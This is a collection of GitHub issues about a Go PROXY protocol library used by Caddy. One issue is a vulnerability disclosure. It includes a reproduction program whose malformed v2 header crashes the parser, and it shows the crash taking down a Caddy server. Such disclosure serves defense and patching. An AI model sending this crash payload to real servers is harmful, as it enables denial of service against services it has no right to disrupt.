I encountered this using caddy-l4 which depends on this project. I opened mholt/caddy-l4#91 but later realized I should open an issue here.

Consider the following proxy protocol header (which is passed by haproxy in my environment):

PROXY TCP6 ::ffff:192.168.0.1 ::ffff:192.168.0.1 53740 10001

Given this header, parseV1() returns the error "invalid source address." The reason seems to be this line because net.IP.To4() will return non-nil when ParseIP() parses a v4-mapped IPv6 address.

The PP2_TYPE_ALPN TLV is necessary to negotiate HTTP/2.

👋 hi @mastercactapus, I was looking into the HAProxy V2 PROXY protocol and found your package. Unfortunately I found a class of crasher bugs when the library is presented malformed input.

The headerv2.go's parseV2 function doesn't validate that the length of the buffered data is large enough to ensure that the slicing done to extract src/dest IP addresses (and ports where applicable) won't be out of bounds.

Here's a small reproduction program:

package main

import (
	"bufio"
	"bytes"

	"github.com/mastercactapus/proxyprotocol"
)

func main() {
	data := []byte{
		// PROXY protocol v2 magic header
		0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A,
		// v2 version, PROXY cmd
		0x21,
		// TCP, IPv4 (also works with 0x13,0x21,0x22,0x31,0x32)
		0x12,
		// Length
		0x00, 0x00,
		// src/dest address data _should_ be here but is omitted.
	}

	/*
		panic: runtime error: slice bounds out of range

		goroutine 1 [running]:
		github.com/mastercactapus/proxyprotocol.parseV2(0xc00005e180, 0x100d, 0x0, 0x0)
			/home/daniel/go/src/github.com/mastercactapus/proxyprotocol/headerv2.go:93 +0x18e4
		github.com/mastercactapus/proxyprotocol.Parse(0xc00005e180, 0x1000, 0x1000, 0xc000086000, 0x459a3d)
			/home/daniel/go/src/github.com/mastercactapus/proxyprotocol/parse.go:31 +0x149
		main.main()
			/home/daniel/test.go:21 +0x18f
		exit status 2
	*/
	_, _ = proxyprotocol.Parse(
		bufio.NewReader(
			bytes.NewReader(data)))
}

The inline comment shows where the panic occurs. You can change the panic location by switching the 0x12 byte to one of the other supported FamProto values in the parsing switch statement. All supported FamProto's are affected by this class of bug.

Notably this results in a trivial denial of service attack against upstream consumers of this package. I was able to reproduce this crash with your caddy-proxyprotocol plugin, Caddy v1.0.1 and the following Caddy file:

beta.threeletter.agency:443

log access.log

root /var/www/test

proxyprotocol {
  timeout 3s
}

Here's the output from the Caddy server after receiving the payload from the reproduction above:

#> caddy -version
Caddy v1.0.1 (h1:oor6ep+8NoJOabpFXhvjqjfeldtw1XSzfISVrbfqTKo=)

#> caddy -conf caddy.conf 
Activating privacy features... done.

Serving HTTPS on port 443 
https://beta.threeletter.agency


Serving HTTP on port 80 
http://beta.threeletter.agency

WARNING: File descriptor limit 1024 is too low for production servers. At least 8192 is recommended. Fix with `ulimit -n 8192`.
panic: runtime error: slice bounds out of range

goroutine 20 [running]:
github.com/mastercactapus/proxyprotocol.parseV2(0xc00006d6e0, 0xc00006d70d, 0x0, 0x0)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/headerv2.go:93 +0x18e4
github.com/mastercactapus/proxyprotocol.Parse(0xc00006d6e0, 0xd7aa80, 0xc00000e6e0, 0x0, 0x0)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/parse.go:31 +0x149
github.com/mastercactapus/proxyprotocol.(*Conn).parse(0xc000140280)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/conn.go:47 +0x109
sync.(*Once).Do(0xc0001402a0, 0xc0000504b0)
	/usr/local/go/src/sync/once.go:44 +0xb3
github.com/mastercactapus/proxyprotocol.(*Conn).RemoteAddr(0xc000140280, 0x0, 0x0)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/conn.go:70 +0x58
crypto/tls.(*Conn).RemoteAddr(0xc000168e00, 0x0, 0x0)
	/usr/local/go/src/crypto/tls/conn.go:124 +0x33
net/http.(*conn).serve(0xc000140320, 0xd731c0, 0xc0001431a0)
	/usr/local/go/src/net/http/server.go:1763 +0x4c
created by net/http.(*Server).Serve

I think its likely worth treating this as a denial of service vulnerability and releasing a new version of both this library and the upstream caddy-proxyprotocol plugin with a note indicating users should upgrade. As an additional note because of when this panic occurs there is no audit trail in the configured access.log and it brings down the entire webserver, not just the Go routine handling the request.

Unfortunately I don't have the cycles to develop a fix for this bug. I'm not a Caddy user or a caddy-proxyprotocol user, just a curious dev.

As described here:
mholt/caddy-l4#19 (comment)

The expected behavior of a zero/no-deadline would be to leave the underlying connection untouched (with regard to deadlines).

Hi Nathaniel, hope all is well! This is not an issue that needs you to do anything, really. It's more for discussion, and it's totally optional. I am just looking at making sure Caddy 2 will be able to support the PROXY protocol, likely via a plugin (called a "module" in Caddy 2).

In Caddy 2, listeners are configured simply by giving a list of addresses, as strings: "listen": ["localhost:5000", "localhost:8080"] for example.

I think this concise format is pretty useful for the majority of use cases, but it makes it hard to define listeners which need custom behavior at the network level (as opposed to the HTTP or application level). Clearly we need to support listener "middleware" like we do in v1.

So I was thinking of a new property called listen_advanced (or something) that allows one to define a listener with custom/modular behavior:

{
    "listen_advanced": {
        "addresses": ["localhost:5000",  "localhost:8080"],
        "modules": [
            {
                "listener_module": "proxy_protocol",
                "other": "config goes here"
            }
        ]
    }
}

Anyway, just thought I'd check with you if you had any opinions on the matter, or requests for a v2 way of doing this. If it sounds good to you, feel free to just let me know and close this issue, thanks!